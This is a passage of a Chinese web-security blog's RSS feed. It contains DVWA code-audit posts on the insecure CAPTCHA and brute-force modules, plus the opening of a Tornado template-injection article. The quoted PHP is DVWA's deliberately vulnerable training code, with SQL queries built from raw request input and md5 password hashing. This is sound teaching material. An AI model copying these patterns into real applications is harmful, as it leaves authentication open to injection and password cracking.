&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;					&amp;lt;input type=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;hidden&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt; name=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;password_new&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt; value=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;$pass_new&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt; /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;					&amp;lt;input type=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;hidden&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt; name=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;password_conf&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt; value=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;$pass_conf&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt; /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;					&amp;lt;input type=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;submit&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt; name=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;Change&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt; value=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;Change&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt; /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;				&amp;lt;/form&amp;gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			&lt;span style="color:#75715e"&gt;// Both new passwords do not match.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			$html &lt;span style="color:#f92672"&gt;.=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;pre&amp;gt;Both passwords must match.&amp;lt;/pre&amp;gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			$hide_form &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;( &lt;span style="color:#a6e22e"&gt;isset&lt;/span&gt;( $_POST[ &lt;span style="color:#e6db74"&gt;&amp;#39;Change&amp;#39;&lt;/span&gt; ] ) &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; ( $_POST[ &lt;span style="color:#e6db74"&gt;&amp;#39;step&amp;#39;&lt;/span&gt; ] &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;2&amp;#39;&lt;/span&gt; ) ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#75715e"&gt;// Hide the CAPTCHA form
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	$hide_form &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#75715e"&gt;// Get input
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	$pass_new &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $_POST[ &lt;span style="color:#e6db74"&gt;&amp;#39;password_new&amp;#39;&lt;/span&gt; ];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	$pass_conf &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $_POST[ &lt;span style="color:#e6db74"&gt;&amp;#39;password_conf&amp;#39;&lt;/span&gt; ];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#75715e"&gt;// Check to see if both password match
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;( $pass_new &lt;span style="color:#f92672"&gt;==&lt;/span&gt; $pass_conf ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#75715e"&gt;// They do!
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		$pass_new &lt;span style="color:#f92672"&gt;=&lt;/span&gt; ((&lt;span style="color:#a6e22e"&gt;isset&lt;/span&gt;($GLOBALS[&lt;span style="color:#e6db74"&gt;&amp;#34;___mysqli_ston&amp;#34;&lt;/span&gt;]) &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;is_object&lt;/span&gt;($GLOBALS[&lt;span style="color:#e6db74"&gt;&amp;#34;___mysqli_ston&amp;#34;&lt;/span&gt;])) &lt;span style="color:#f92672"&gt;?&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mysqli_real_escape_string&lt;/span&gt;($GLOBALS[&lt;span style="color:#e6db74"&gt;&amp;#34;___mysqli_ston&amp;#34;&lt;/span&gt;], $pass_new ) &lt;span style="color:#f92672"&gt;:&lt;/span&gt; ((&lt;span style="color:#a6e22e"&gt;trigger_error&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&amp;#34;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;E_USER_ERROR&lt;/span&gt;)) &lt;span style="color:#f92672"&gt;?&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		$pass_new &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;md5&lt;/span&gt;( $pass_new );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#75715e"&gt;// Update database
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		$insert &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;UPDATE `users` SET password = &amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$pass_new&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39; WHERE user = &amp;#39;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;dvwaCurrentUser&lt;/span&gt;() &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39;;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		$result &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mysqli_query&lt;/span&gt;($GLOBALS[&lt;span style="color:#e6db74"&gt;&amp;#34;___mysqli_ston&amp;#34;&lt;/span&gt;], $insert ) &lt;span style="color:#66d9ef"&gt;or&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;die&lt;/span&gt;( &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;pre&amp;gt;&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; ((&lt;span style="color:#a6e22e"&gt;is_object&lt;/span&gt;($GLOBALS[&lt;span style="color:#e6db74"&gt;&amp;#34;___mysqli_ston&amp;#34;&lt;/span&gt;])) &lt;span style="color:#f92672"&gt;?&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mysqli_error&lt;/span&gt;($GLOBALS[&lt;span style="color:#e6db74"&gt;&amp;#34;___mysqli_ston&amp;#34;&lt;/span&gt;]) &lt;span style="color:#f92672"&gt;:&lt;/span&gt; (($___mysqli_res &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mysqli_connect_error&lt;/span&gt;()) &lt;span style="color:#f92672"&gt;?&lt;/span&gt; $___mysqli_res &lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;)) &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;/pre&amp;gt;&amp;#39;&lt;/span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#75715e"&gt;// Feedback for the end user
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		$html &lt;span style="color:#f92672"&gt;.=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;pre&amp;gt;Password Changed.&amp;lt;/pre&amp;gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#75715e"&gt;// Issue with the passwords matching
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		$html &lt;span style="color:#f92672"&gt;.=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;pre&amp;gt;Passwords did not match.&amp;lt;/pre&amp;gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		$hide_form &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	((&lt;span style="color:#a6e22e"&gt;is_null&lt;/span&gt;($___mysqli_res &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mysqli_close&lt;/span&gt;($GLOBALS[&lt;span style="color:#e6db74"&gt;&amp;#34;___mysqli_ston&amp;#34;&lt;/span&gt;]))) &lt;span style="color:#f92672"&gt;?&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt; &lt;span style="color:#f92672"&gt;:&lt;/span&gt; $___mysqli_res);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;?&amp;gt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="漏洞成因"&gt;
 漏洞成因
 &lt;a class="anchor" href="#%e6%bc%8f%e6%b4%9e%e6%88%90%e5%9b%a0"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;这里有两个step，就是把两个步骤分开了，造成了漏洞。&lt;/p&gt;</description></item><item><title>SSTI之Tornado</title><link>https://s0lowalker.github.io/docs/web%E5%AE%89%E5%85%A8/ssti/tornado%E6%A8%A1%E6%9D%BF%E4%B8%8B%E7%9A%84ssti/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/web%E5%AE%89%E5%85%A8/ssti/tornado%E6%A8%A1%E6%9D%BF%E4%B8%8B%E7%9A%84ssti/</guid><description>&lt;h1 id="tornado与ssti"&gt;
 Tornado与SSTI
 &lt;a class="anchor" href="#tornado%e4%b8%8essti"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="关于tornado"&gt;
 关于Tornado
 &lt;a class="anchor" href="#%e5%85%b3%e4%ba%8etornado"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="tornado简介"&gt;
 Tornado简介
 &lt;a class="anchor" href="#tornado%e7%ae%80%e4%bb%8b"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Tornado 是一个 Python Web 框架和异步网络库，既能快速搭建网站，也能处理底层网络通信。通过使用非阻塞网络 I/O，Tornado 可以扩展到数万个开放连接，使其成为长轮询、WebSocket 和其他需要与每个用户保持长期连接的应用程序的理想选择。&lt;/p&gt;
&lt;p&gt;Tornado 可以粗略地分为三个主要部分：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;一个 Web 框架（包括 RequestHandler，它被子类化以创建 Web 应用程序，以及各种支持类）。简单来说，就是我们不能直接使用Tornado的原始的&lt;code&gt;RequestHandler&lt;/code&gt;这个类，而要自己创建一个类继承它。一个这样的web应用，本质上就是由很多这样继承了&lt;code&gt;RequestHandler&lt;/code&gt;的类组成的。这里给一个简单的源码。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; asyncio
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; tornado
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;MainHandler&lt;/span&gt;(tornado&lt;span style="color:#f92672"&gt;.&lt;/span&gt;web&lt;span style="color:#f92672"&gt;.&lt;/span&gt;RequestHandler):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;get&lt;/span&gt;(self):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;write(&lt;span style="color:#e6db74"&gt;&amp;#34;Hello, world&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;make_app&lt;/span&gt;():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; tornado&lt;span style="color:#f92672"&gt;.&lt;/span&gt;web&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Application([
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; (&lt;span style="color:#e6db74"&gt;r&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/&amp;#34;&lt;/span&gt;, MainHandler),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;async&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;main&lt;/span&gt;():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; app &lt;span style="color:#f92672"&gt;=&lt;/span&gt; make_app()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; app&lt;span style="color:#f92672"&gt;.&lt;/span&gt;listen(&lt;span style="color:#ae81ff"&gt;8888&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; asyncio&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Event()&lt;span style="color:#f92672"&gt;.&lt;/span&gt;wait()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; __name__ &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; asyncio&lt;span style="color:#f92672"&gt;.&lt;/span&gt;run(main())
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;HTTP 的客户端和服务器端实现 (HTTPServer 和 AsyncHTTPClient）。简单来说，Tornado既可以是客户端，也可以是服务器端。Tornado内置了一个由python编写的高性能HTTP服务器(叫HTTPServer)，不需要依赖Apache、Nginx之类的web server，所以可以作为服务器端。Tornado可以作为客户端，是因为有AsyncHTTPClient，它可以用来访问其他网站或者API。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;一个异步网络库，包括类 IOLoop 和 IOStream，它们作为 HTTP 组件的构建块，也可以用于实现其他协议。&lt;/p&gt;</description></item><item><title>DVWA代码审计之暴力破解</title><link>https://s0lowalker.github.io/docs/web%E5%AE%89%E5%85%A8/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/dvwa%E5%AE%A1%E8%AE%A1%E7%AF%87/dvwa%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8B%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/web%E5%AE%89%E5%85%A8/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/dvwa%E5%AE%A1%E8%AE%A1%E7%AF%87/dvwa%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8B%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3/</guid><description>&lt;h1 id="dvwa代码审计之暴力破解"&gt;
 DVWA代码审计之暴力破解
 &lt;a class="anchor" href="#dvwa%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1%e4%b9%8b%e6%9a%b4%e5%8a%9b%e7%a0%b4%e8%a7%a3"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="等级low"&gt;
 等级low
 &lt;a class="anchor" href="#%e7%ad%89%e7%ba%a7low"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="源码"&gt;
 源码
 &lt;a class="anchor" href="#%e6%ba%90%e7%a0%81"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;( &lt;span style="color:#a6e22e"&gt;isset&lt;/span&gt;( $_GET[ &lt;span style="color:#e6db74"&gt;&amp;#39;Login&amp;#39;&lt;/span&gt; ] ) ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#75715e"&gt;// Get username
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	$user &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $_GET[ &lt;span style="color:#e6db74"&gt;&amp;#39;username&amp;#39;&lt;/span&gt; ];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#75715e"&gt;// Get password
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	$pass &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $_GET[ &lt;span style="color:#e6db74"&gt;&amp;#39;password&amp;#39;&lt;/span&gt; ];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	$pass &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;md5&lt;/span&gt;( $pass );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#75715e"&gt;// Check the database
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	$query &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;SELECT * FROM `users` WHERE user = &amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$user&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39; AND password = &amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$pass&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	$result &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mysqli_query&lt;/span&gt;($GLOBALS[&lt;span style="color:#e6db74"&gt;&amp;#34;___mysqli_ston&amp;#34;&lt;/span&gt;], $query ) &lt;span style="color:#66d9ef"&gt;or&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;die&lt;/span&gt;( &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;pre&amp;gt;&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; ((&lt;span style="color:#a6e22e"&gt;is_object&lt;/span&gt;($GLOBALS[&lt;span style="color:#e6db74"&gt;&amp;#34;___mysqli_ston&amp;#34;&lt;/span&gt;])) &lt;span style="color:#f92672"&gt;?&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mysqli_error&lt;/span&gt;($GLOBALS[&lt;span style="color:#e6db74"&gt;&amp;#34;___mysqli_ston&amp;#34;&lt;/span&gt;]) &lt;span style="color:#f92672"&gt;:&lt;/span&gt; (($___mysqli_res &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mysqli_connect_error&lt;/span&gt;()) &lt;span style="color:#f92672"&gt;?&lt;/span&gt; $___mysqli_res &lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;)) &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;/pre&amp;gt;&amp;#39;&lt;/span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;( $result &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mysqli_num_rows&lt;/span&gt;( $result ) &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#75715e"&gt;// Get users details
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		$row &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mysqli_fetch_assoc&lt;/span&gt;( $result );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		$avatar &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $row[&lt;span style="color:#e6db74"&gt;&amp;#34;avatar&amp;#34;&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#75715e"&gt;// Login successful
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		$html &lt;span style="color:#f92672"&gt;.=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;p&amp;gt;Welcome to the password protected area &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;$user&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;lt;/p&amp;gt;&amp;#34;&lt;/span&gt;;
